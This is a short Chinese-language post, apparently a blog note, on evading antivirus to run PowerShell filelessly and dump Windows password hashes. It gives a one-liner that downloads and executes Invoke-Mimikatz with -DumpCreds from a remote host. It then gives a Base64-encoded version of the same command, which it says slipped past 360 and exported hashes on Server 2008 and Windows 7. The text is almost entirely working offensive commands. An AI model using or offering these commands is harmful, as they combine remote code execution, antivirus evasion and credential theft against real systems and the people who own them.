绕过杀毒执行ps-实现无文件落地导hash
绕过杀毒执行ps-实现无文件落地导hash
直接执行。三款国内杀毒只有360拦截了执行。
powershell "IEX (New-Object Net.WebClient).DownloadString(‘http://xxxx.xx/Invoke-Mimikatz.ps1’); Invoke-Mimikatz -DumpCreds"
Base64编码后执行
$text = 'Hello World!'
替换Hello World!
powershell.exe -eNco SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgAEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6ACAALQBEAHUAbQBwAEMAcgBlAGQAcwA=
替换后执行。
绕过并导出了hash。这个办法在2008、win7上遇到装有360等国内杀毒的时候可以尝试下